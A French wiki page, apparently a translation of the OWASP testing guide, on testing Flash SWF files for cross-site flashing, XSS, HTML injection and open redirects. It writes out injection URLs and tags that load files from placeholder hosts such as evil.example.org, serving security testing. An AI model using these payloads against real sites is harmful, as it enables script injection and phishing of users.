dwndoc

User Tools

Site Tools

Trace: • testing_for_cross_site_flashing
hack:testing_for_cross_site_flashing

Table of Contents

testing_guide

Résumé

ActionScript est le langage, basé sur ECMAScript, utilisé par les applications Flash pour des besoins interactifs. Il existe trois versions du langage ActionScript.

ActionScript 1.0 et ActionScript 2.0 (qui sont très similaires ActionScript 2.0 étant une extension d'ActionScript 1.0). ActionScript 3.0, introduit avec Flash Player 9, est une réécriture de la langue pour soutenir la conception orientée objet.

ActionScript, comme toutes les autres langues, présente des modèles de mise en œuvre qui pourrait conduire à des problèmes de sécurité.

En particulier, parce que les applications Flash sont souvent intégrées dans les navigateurs, les vulnérabilités telles que Cross Site Scripting basé sur DOM pourrait être présent dans les applications Flash défectueuses.

Description

Depuis la première publication de “test d'applications Flash» [1], de nouvelles versions de Flash player ont été créées afin d'atténuer certaines des attaques qui ont été décrites. Néanmoins, certaines failles sont encore exploitables, car elles sont le résultat de pratiques de programmation non sécurisée.

Test boîte grise

Décompilation

Puisque les fichiers SWF sont interprétés par une machine virtuelle intégrée dans le lecteur lui-même, ils peuvent être potentiellement décompilés et analysés. Le plus connu étant le décompleur ActionScript 2.0 (gratuit).

Pour décompiler un fichier SWF il suffit de taper: 

$ flare hello.swf

Il en résultera un nouveau fichier appelé hello.flr.

La décompilation offre une assistance à l'analyse du code source;.

L'outil gratuit HP SWFScan peut décompiler ActionScript 2.0 et ActionScript 3.0

Le projet de sécurité de l'OWASP maintient une liste de désassembleurs actuelles, décompileurs et d'autres outils d'essai connexes Adobe flash.

Variables FlashVars non définies

Les FlashVars sont les variables que le développeur SWF utilise lors de la réception de la page Web. Les FlashVars sont généralement transmises à partir de la balise object ou embed dans le code HTML. Par exemple: 

<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
 <param name="movie" value="somefilename.swf">
 <param name="FlashVars" value="var1=val1&var2=val2">
 <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>

Les FlashVars peuvent aussi être initialisées à partir de l'URL: 

http://www.example.org/somefilename.swf?var1=val1&var2=val2

Dans ActionScript 3.0, un développeur doit explicitement assigner les valeurs aux variables locales FlashVar. Typiquement, cela ressemble à: 

var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj["var1"]);
var var2:String = String(paramObj["var2"]);

Dans ActionScript 2.0, une variable globale non initialisée est supposée être une FlashVar. Les variables globales sont des variables qui sont précédés par _root, _global ou _level0. C ela signifie que si un attribut comme: 

_root.varname

n'est pas défini dans le flux de code, il pourrait être remplacé par 

http://victim/file.swf?varname=value

Que ce soit dans ActionScript 2.0 ou dans ActionScript 3.0, les FlashVars peuvent être des vecteurs d'attaque. Regardons un peu de code ActionScript 2.0 qui est vulnérable:

Exemple: 

 movieClip 328 __Packages.Locale {
   #initclip
     if (!_global.Locale) {
       var v1 = function (on_load) {
         var v5 = new XML();
         var v6 = this;
         v5.onLoad = function (success) {
           if (success) {
             trace('Locale loaded xml');
             var v3 = this.xliff.file.body.$trans_unit;
             var v2 = 0;
             while (v2 < v3.length) {
               Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
               ++v2;
             }
             on_load();
           } else {}
         };
         if (_root.language != undefined) {
           Locale.DEFAULT_LANG = _root.language;
         }
         v5.load(Locale.DEFAULT_LANG + '/player_' +
                             Locale.DEFAULT_LANG + '.xml');
       };

Le code ci-dessus pourrait être attaqué en demandant: 

http://victim/file.swf?language=http://evil.example.org/malicious.xml?

Méthodes peu sûres

Lorsqu'un point d'entrée est identifié, les données qu'il présente pourraient être utilisé par des méthodes dangereuses. Si les données ne sont pas filtrées / validées par des regexp cela pourrait conduire à une faille de sécurité.

Les méthodes peu sûres depuis la version r47 sont les suivantes: 

loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load 
LoadVars.send 
XML.load ( 'url' )
LoadVars.load ( 'url' ) 
Sound.loadSound( 'url' , isStreaming ); 
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText

Test

Afin d'exploiter une vulnérabilité, le fichier swf doit être hébergé sur l'hôte victime, et les techniques de XSS reflected doivent être utilisées, afin d'obliger le navigateur à charger un fichier swf pur directement dans la barre d'adresse (par redirection ou social engineering) ou en la chargeant à travers une iframe à partir d'une page polluée: 

<nowiki><iframe src='http://victim/path/to/file.swf'></iframe></nowiki>

Dans ce cas, le navigateur va auto-générer une page HTML comme si elle provenait de l'hôte victime.

XSS

GetURL (AS2) / navigateToURL (AS3):

La fonction getURL dans ActionScript 2.0 et navigateToURL dans ActionScript 3.0 permet au film de charger une URI dans la fenêtre du navigateur. Donc, si une variable non définie est utilisée comme premier argument de la fonction getURL: 

getURL(_root.URI,'_targetFrame');

Ou si une FlashVar utilisée en tant que paramètre est passée à une fonction navigateToURL: 

var request:URLRequest = new URLRequest(FlashVarSuppliedURL);  
navigateToURL(request);

Cela signifie qu'il est possible d'appeler JavaScript dans le même domaine où le film est hébergé en demandant: 

http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');

De même lorsque seulement une partie de getURL est contrôlée: 

Dom Injection with Flash JavaScript injection
       getUrl('javascript:function('+_root.arg+'))

asfunction:

“Vous pouvez utiliser le protocole asfunction pour faire que le lien exécute une fonction ActionScript dans un Fichier SWF au lieu d'ouvrir une URL …” (Adobe.com)

Jusqu'à la version Flash Player 9 R48 asfunction pouvait être utilisé sur toutes les méthodes qui possède une URL comme argument. Après cette release, asfunction a été limité à une utilisation dans un TextField HTML.

Cela signifie qu'un testeur peut essayer d'injecter: 

asfunction:getURL,javascript:evilcode

dans chaque méthode dangereuse comme: 

loadMovie(_root.URL)

en demandant: 

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

ExternalInterface:

ExternalInterface.call est une méthode statique introduite par Adobe pour améliorer l'interaction du lecteur / navigateur pour ActionScript 2.0 et ActionScript 3.0.

D'un point de vue sécurité il pourrait être abusé quans une partie de son argument peut être contrôlée: 

flash.external.ExternalInterface.call(_root.callback);

le modèle d'attaque pour ce genre de faille devrait être quelque chose comme: eval (evilcode)

car le JavaScript interne qui est exécuté par le navigateur sera quelque chose de similaire à: 

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

HTML Injection

Les objets TextField peuvent intégrer du code HTML en mettant: 

tf.html = true
tf.htmlText = '<tag>text</tag>'

Donc, si une partie du texte peut être contrôlée par le testeur, un tag ou une balise IMG pourrait être injectée provoquant la modification de l'interface graphique ou l'exploitation de XSS.

Quelques exemples d'attaque avec un tag:

  • XSS direct: <a href='javascript:alert(123)' >
    • Appelle une fonction: <a href='asfunction:function,arg' >
    • Appele une fonction SWF publique: <a href='asfunction:_root.obj.function, arg'>
    • Appele une native statique en fonction: <a href='asfunction:System.Security.allowDomain,evilhost' >

    Une balise IMG pourrait être utilisée ainsi: 

<nowiki><img src='http://evil/evil.swf' ></nowiki>

Remarque: depuis la version version 9.0.124.0 de Flash player XSS n'est plus exploitable, mais une modification graphique peut encore être accomplie.

Cross Site Falshin

Le Cross Site Flashing(XSF) est une vulnérabilité qui a un impact similaire à celui du XSS.

XSF Se produit lorsque dans différents domaines:

  • Un film peut charger un autre film avec des fonctions * loadMovie ou autres hacks et a accès à la même sandbox ou partie de celle-ci
  • XSF pourraient se produire également lorsque une page HTML utilise JavaScript pour commander un film Adobe Flash, par exemple, en appelant:
    • GetVariable: accès à un objet flash public out statique à partir de JavaScript sous forme de chaîne.
    • SetVariable: définir une nouvelle valeur de chaîne d'un objet flash statique ou public à partir de JavaScript.
  • Un navigateur non conçu pour prendre en charge la communication au format SWF pourrait entraîner le vol de données de l'application SWF.

Cela pourrait être effectué en forçant un fichier SWF imparfait de charger un fichier flash externe pollué.

Cette attaque pourrait se traduire par XSS ou la modification de l'interface graphique dans le but de tromper un utilisateur pour l'inciter à rentrer des informations d'identification dans un faux formulaire flash.

XSF peut être réalisée par l'injection HTM de Flash ou des fichiers SWF externes lorsque les méthodes * loadMovie sont utilisées.

Les redirecteurs ouverts (Open Redirectors)

SWF à la capacité de naviguer dans le navigateur. Si le SWF est intégré comme FlashVar, alors il peut être utilisé comme un redirecteur ouvert. Un redirecteur ouvert est une partie quelconque de la fonctionnalité d'un site Web sur un site de confiance que l'attaquant peut utiliser pour rediriger l'utilisateur final vers un site Web malveillant. Ils sont fréquemment utilisés dans les attaques de phishing. Semblable à cross-site scripting, l'attaque implique qu'un utilisateur de clique sur un lien malveillant. Dans le cas de Flash, l'URL malveillante pourrait ressembler à ceci : 

http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html

Dans l'exemple ci-dessus, un utilisateur final peut voir l'URL débuter par leur site de confiance préféré et cliquez dessus. Le lien va charger le fichier SWF de confiance qui prend getURLValue et fournit au navigateur un appel ActionScript: 

getURL(_root.getURLValue,"_self");

Le navigateur va être redirigé vers l'URL malveillante fournie par l'attaquant. À ce stade, le pirate a misé avec succès sur la confiance de l'utilisateur en trusted.example.org pour l'inciter à aller sur son site Web malveillant. Dés lors il pourrait lancer un 0-day, procéder à l'usurpation du site d'origine, ou tout autre type d'attaque. Les SWFs peuvent agir involontairement en tant que redirecteur ouvert sur le site.

Les développeurs doivent éviter de prendre des URL complètes en tant que FlashVars. Si leur intention est seulement de naviguer à l'intérieur de leur propre site web, alors ils devraient utiliser des URL relatives ou vérifiez que l'URL commence par un domaine et un protocole de confiance.

Attaques et version de Flash Player

Depuis mai 2007, trois nouvelles versions de Flash player ont été livrées par Adobe. Chaque nouvelle version restreint certaines des attaques décrites précédemment. 

| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | 
| Player Version |
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |

Résultat attendu:

Cross Site Scripting et Cross Site flashing sont les résultats attendus d'un fichier SWF défectueux.

Références

OWASP

Livres blancs

Outils

hack/testing_for_cross_site_flashing.txt · Last modified: 2019/02/13 13:10 by 127.0.0.1